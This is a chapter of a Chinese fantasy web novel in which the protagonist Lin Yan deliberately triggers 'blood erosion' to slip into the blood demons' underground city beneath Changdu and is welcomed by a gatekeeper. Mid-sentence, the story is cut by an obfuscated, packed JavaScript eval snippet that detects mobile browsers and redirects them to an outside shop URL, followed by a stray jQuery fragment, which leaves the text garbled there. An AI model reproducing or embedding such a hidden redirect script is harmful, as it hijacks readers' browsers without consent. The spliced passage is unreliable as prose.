33. 都是兄弟
作品:《关于我们校医老师是幕后BOSS这件事》 王敬果真逃去了长渡。
最危险的地方就是最安全的地方,遭到沸血者们的全面清剿过后,残存的血魔不但没有逃亡别处,反倒一转思路,直接将据点修在了长渡地下,与长渡互为表里。
沸血者们统治地上,而地下属于血魔。
决定在这修建城市的血魔多少有些赌徒心理,或许还掺了点幽默——我们就在你们的脚底下哟,就在离你们最近的地方。
跟到这里,余绣纶小队一时间不敢轻举妄动。
王敬消失的地方,是个没有马匹的马棚。在工业技术普及前,这里是长途跋涉用的马匹驿站。现在都没人骑马了,也就弃置了。
长渡是沸血界最大的港口城市,常住人口超过两百万,是沸血议会控制西海岸的重要枢纽,哪怕这里不在城内,只是贴着城区,也是不允许随意交火的地方。
住在长渡城里的,既有平民也有沸血者。城内建筑密集,有着最复杂的地下排水系统。
虽然不知道血魔们是怎么瞒天过海,在执政官和居民们眼皮子底下建的地下城,但这也让她们现在无法通过简单的地理勘测或外貌观察,确认据点的具体规模,更没法确定内部究竟藏了多少血魔。
尽管已经请求增援,给执行院指挥部发了消息和定位,但坐着干等不是执行院小队的作风。
身为队里唯一的A级,余绣纶决定独身进去,打探情报。
这种事她做的很熟练:“我一个人进去摸情况,姜钰保持能力覆盖,标记我的位置。其他人分散警戒,注意隐蔽。如果我天亮前没出来,或者姜钰感觉到我体征不对,全员直接按应急方案撤离,不要试图营救我。”
哪怕不慎被发现,凭借多年战斗经验和能压制绝大部分人的血统等级,她也有独自脱身的自信。
林砚没有提出“为什么不让我这个A+级去”这种蠢问题。
她们肯定不会同意的。
在所有人眼里,林砚是非战斗型沸血者,也没有战斗经验。而且林砚作为塔主亲自护送来的宝贝疙瘩,要是表现出有亲身涉险的想法,只会让她们头痛为难。
但是没有关系。
他会自己偷偷去。
只是可能会有些对不起姜钰。姜钰和林砚在同一小组,要是她大晚上醒来,本该好好待在安全点的林砚失踪了,怕是要急得跳脚。
所以林砚决定,速战速决。最迟在里面待到天光破晓,在太阳升起之前,他一定赶回来。
余绣纶敢独自前往也跟她的能力有关,她的能力和影子密切相关,而且能力发动时几乎没有征兆。她藏在血魔的影子里,偷渡了进去。
与偷偷摸摸的余绣纶不同,林砚去得光明正大。
有一样东西,它涨起来容易,降下去难,一旦显现就几乎不可逆转,它是什么?
它就是血蚀。
可林砚是特殊的,只有他无需顾忌血蚀。他能主动引动血蚀,也能随时将其压制回去。
他肆无忌惮地使用能力,不再压制体内奔流的源血,主动将其点燃、催发、推向狂暴。血管骤然贲张,血蚀印记猖獗地爬满他整张脸。纹路扭曲交织,像血色的荆棘,又像线条粗犷的玫瑰,在月光下呈现出妖异的美。
林砚的气质也发生了变化。现在的林砚,充满了狂躁的攻击欲望,看什么都像是君王见臣,嚣张又肆意。高等血统带来的天生压制无差别地压迫着周遭的一切,凡是低于他血统的,都得对他表示臣服。
此刻,哪怕白珍站在他面前,也很难认出面前人是她认识的那个林砚。
神经末梢传递着过载的信号,许久未曾体验的疼痛再次蔓延全身,林砚居然有种遇见老朋友的亲切感。
【砚宝,持续这个状态会对身体造成负担,你会痛,会难受——】
系统有些担忧地念叨起他的身体,担忧林砚身体的疼痛与难受。
而林砚现在感觉……
无比舒畅。
并非指的疼痛本身,疼痛依然是疼痛,并不会变成快感。只是躯体内充盈的力量感真是该死地棒,能量在四肢百骸奔流,身体的每一寸角落都尽在掌控中,这感觉令人着迷。
心脏砰砰乱跳,这心律紊乱的感觉反倒让他觉得熟悉。
林砚现在可以清晰地感知到方圆数百米内每一个活物体内的血液流动。大脑甚至出现了错觉,感觉自己此刻已经无所不能。像是哪怕他只是站在这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014189|191871||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里随意勾动手指,就能让千米之外的人血液逆流,让血管爆裂,让生命在瞬间熄灭。
林砚忍不住地想要勾起唇角。
体内的源血在不停地呼唤他做些什么——不要浪费这份力量,去做点什么,去证明自己的强大,让世界感受到你的存在。
身体蓄势待发,等待毁灭一切。
可大脑深处却在左右互搏。
记忆拼命把理智往回拉,认为这种时候的身体应当是虚弱的。
林砚恍然清醒。
他理解了。
亲身体验后,他真正理解了沸血者们为什么会如此恐惧和敌视血魔,为什么要赶尽杀绝地清剿他们,为什么哪怕是权势们把持着的议会,也是将“彻底净化血蚀”列为最高优先级的目标。
这就像是吸了毒,不可逆转的血蚀,直接扭曲了沸血者们属于人类的部分神经。
哪怕是自带外挂的林砚,都在血蚀拔高的瞬间中了招。
谁敢放一个脑子里每天都在叫嚣“我好强大、我要搞点大的、看谁不爽直接动手、能活一天是一天、我要证明自己”的人在身边?
而这个疯子还是个超能力者。
这些血魔都是放在身旁的不定时炸弹。你无法安全拆除引信,无法分离引线和□□,唯一能做的,只有提早将他引爆。
暂时地,林砚也是炸弹们的一员了。
不再刻意压制那股微笑的冲动,林砚勾起唇角,像他遇到过的、像他此时身边的其他血魔一样,放松、肆意地走在街道上。
守在门口的血魔没见过他,但林砚脸上的血蚀印记造不得假,沸腾的源血在相互呼应。
他打量着林砚,目光落在他脸部的血蚀印记上。
血魔说:“新面孔呀,我从来没见过你,你是……”
林砚看起来充满了攻击性,看起来就来者不善。血魔本来想问他的来历,话说一半,却是直接笑出声来。血魔的笑声有些干涩,但没有恶意。
他让开身体,笑得时候还呲着大牙,牙齿很白。
“没事,兄弟,没关系。我这人好奇心重屁话也多,你别介意。不论你是什么情况,我们都是家人了。欢迎回家,兄弟!”

